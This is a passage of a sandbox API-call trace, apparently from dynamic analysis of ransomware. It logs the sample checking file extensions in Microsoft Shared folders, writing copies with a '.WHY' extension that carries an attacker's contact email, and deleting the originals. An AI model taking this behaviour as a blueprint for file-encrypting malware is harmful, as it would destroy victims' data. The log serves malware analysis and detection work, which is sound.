(hObject=0x210) returned 1 [0074.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0074.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.501] lstrlenW (lpString=".doc") returned 4 [0074.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.501] lstrlenW (lpString=".docx") returned 5 [0074.501] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0074.502] lstrlenW (lpString=".pdf") returned 4 [0074.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.502] lstrlenW (lpString=".xls") returned 4 [0074.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.502] lstrlenW (lpString=".xlsx") returned 5 [0074.502] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0074.502] lstrlenW (lpString=".ppt") returned 4 [0074.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.502] lstrlenW (lpString=".zip") returned 4 [0074.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.502] lstrlenW (lpString=".rar") returned 4 [0074.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.502] lstrlenW (lpString=".bz2") returned 4 [0074.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.503] lstrlenW (lpString=".7z") returned 3 [0074.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.503] lstrlenW (lpString=".dbf") returned 4 [0074.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.503] lstrlenW (lpString=".1cd") returned 4 [0074.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.503] lstrlenW (lpString=".jpg") returned 4 [0074.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.503] lstrlenW (lpString=".doc") returned 4 [0074.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.504] lstrlenW (lpString=".docx") returned 5 [0074.504] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0074.504] lstrlenW (lpString=".pdf") returned 4 [0074.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.504] lstrlenW (lpString=".xls") returned 4 [0074.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.504] lstrlenW (lpString=".xlsx") returned 5 [0074.504] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0074.504] lstrlenW (lpString=".ppt") returned 4 [0074.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.504] lstrlenW (lpString=".zip") returned 4 [0074.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.505] lstrlenW (lpString=".rar") returned 4 [0074.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.505] lstrlenW (lpString=".bz2") returned 4 [0074.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.505] lstrlenW (lpString=".7z") returned 3 [0074.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.505] lstrlenW (lpString=".dbf") returned 4 [0074.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.505] lstrlenW (lpString=".1cd") returned 4 [0074.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0074.506] lstrlenW (lpString=".jpg") returned 4 [0074.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.506] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.506] lstrlenW (lpString="oskmenubase.xml") returned 15 [0074.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.508] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=471) returned 1 [0074.508] CloseHandle (hObject=0x210) returned 1 [0074.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0074.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.509] lstrlenW (lpString=".doc") returned 4 [0074.509] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.509] lstrlenW (lpString=".docx") returned 5 [0074.509] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.509] lstrlenW (lpString=".pdf") returned 4 [0074.509] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.509] lstrlenW (lpString=".xls") returned 4 [0074.509] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.509] lstrlenW (lpString=".xlsx") returned 5 [0074.509] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.509] lstrlenW (lpString=".ppt") returned 4 [0074.510] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.510] lstrlenW (lpString=".zip") returned 4 [0074.510] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.510] lstrlenW (lpString=".rar") returned 4 [0074.510] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.510] lstrlenW (lpString=".bz2") returned 4 [0074.510] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.510] lstrlenW (lpString=".7z") returned 3 [0074.510] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.510] lstrlenW (lpString=".dbf") returned 4 [0074.510] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.511] lstrlenW (lpString=".1cd") returned 4 [0074.511] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.511] lstrlenW (lpString=".jpg") returned 4 [0074.511] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.511] lstrlenW (lpString=".doc") returned 4 [0074.511] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.511] lstrlenW (lpString=".docx") returned 5 [0074.511] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.511] lstrlenW (lpString=".pdf") returned 4 [0074.512] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.512] lstrlenW (lpString=".xls") returned 4 [0074.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.512] lstrlenW (lpString=".xlsx") returned 5 [0074.512] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.512] lstrlenW (lpString=".ppt") returned 4 [0074.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.512] lstrlenW (lpString=".zip") returned 4 [0074.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.512] lstrlenW (lpString=".rar") returned 4 [0074.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.512] lstrlenW (lpString=".bz2") returned 4 [0074.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.512] lstrlenW (lpString=".7z") returned 3 [0074.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.513] lstrlenW (lpString=".dbf") returned 4 [0074.513] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.513] lstrlenW (lpString=".1cd") returned 4 [0074.513] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0074.513] lstrlenW (lpString=".jpg") returned 4 [0074.513] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.514] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.514] lstrlenW (lpString="oskmenu.xml") returned 11 [0074.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.514] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=215) returned 1 [0074.514] CloseHandle (hObject=0x210) returned 1 [0074.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0074.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.515] lstrlenW (lpString=".doc") returned 4 [0074.515] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.515] lstrlenW (lpString=".docx") returned 5 [0074.515] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0074.515] lstrlenW (lpString=".pdf") returned 4 [0074.516] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.516] lstrlenW (lpString=".xls") returned 4 [0074.516] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.516] lstrlenW (lpString=".xlsx") returned 5 [0074.516] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0074.516] lstrlenW (lpString=".ppt") returned 4 [0074.516] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.516] lstrlenW (lpString=".zip") returned 4 [0074.516] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.516] lstrlenW (lpString=".rar") returned 4 [0074.516] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.516] lstrlenW (lpString=".bz2") returned 4 [0074.517] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.517] lstrlenW (lpString=".7z") returned 3 [0074.517] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.517] lstrlenW (lpString=".dbf") returned 4 [0074.517] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.517] lstrlenW (lpString=".1cd") returned 4 [0074.517] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.517] lstrlenW (lpString=".jpg") returned 4 [0074.517] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.518] lstrlenW (lpString=".doc") returned 4 [0074.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.518] lstrlenW (lpString=".docx") returned 5 [0074.518] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0074.518] lstrlenW (lpString=".pdf") returned 4 [0074.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.518] lstrlenW (lpString=".xls") returned 4 [0074.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.518] lstrlenW (lpString=".xlsx") returned 5 [0074.518] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0074.518] lstrlenW (lpString=".ppt") returned 4 [0074.519] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.519] lstrlenW (lpString=".zip") returned 4 [0074.519] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.519] lstrlenW (lpString=".rar") returned 4 [0074.519] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.519] lstrlenW (lpString=".bz2") returned 4 [0074.519] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.519] lstrlenW (lpString=".7z") returned 3 [0074.519] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.519] lstrlenW (lpString=".dbf") returned 4 [0074.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.520] lstrlenW (lpString=".1cd") returned 4 [0074.520] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0074.520] lstrlenW (lpString=".jpg") returned 4 [0074.520] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.520] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.520] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0074.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.521] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1437) returned 1 [0074.521] CloseHandle (hObject=0x210) returned 1 [0074.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0074.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0074.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0074.522] lstrlenW (lpString=".doc") returned 4 [0074.522] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString=".docx") returned 5 [0074.522] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.522] lstrlenW (lpString=".pdf") returned 4 [0074.522] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString=".xls") returned 4 [0074.522] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString=".xlsx") returned 5 [0074.522] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.522] lstrlenW (lpString=".ppt") returned 4 [0074.522] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0074.523] lstrlenW (lpString=".zip") returned 4 [0074.523] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.523] lstrlenW (lpString=".rar") returned 4 [0074.523] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString=".bz2") returned 4 [0074.523] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.523] lstrlenW (lpString=".7z") returned 3 [0074.523] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0074.523] lstrlenW (lpString=".dbf") returned 4 [0074.523] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0080.592] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=819) returned 1 [0080.592] CloseHandle (hObject=0x1f4) returned 1 [0080.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0080.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0080.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0080.593] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.593] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0080.594] GetLastError () returned 0x0 [0080.594] ReadFile (in: hFile=0x1f4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x333, lpOverlapped=0x0) returned 1 [0080.605] WriteFile (in: hFile=0x1fc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x340, lpOverlapped=0x0) returned 1 [0080.608] ReadFile (in: hFile=0x1f4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.608] WriteFile (in: hFile=0x1fc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0080.608] SetEndOfFile (hFile=0x1fc) returned 1 [0080.608] CloseHandle (hObject=0x1fc) returned 1 [0080.611] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.611] SetEndOfFile (hFile=0x1f4) returned 1 [0080.614] CloseHandle (hObject=0x1f4) returned 1 [0080.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0080.614] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0080.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.615] lstrlenW (lpString=".doc") returned 4 [0080.615] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.615] lstrlenW (lpString=".docx") returned 5 [0080.615] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0080.615] lstrlenW (lpString=".pdf") returned 4 [0080.615] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.615] lstrlenW (lpString=".xls") returned 4 [0080.615] lstrcmpiW (lpString1=".xls", 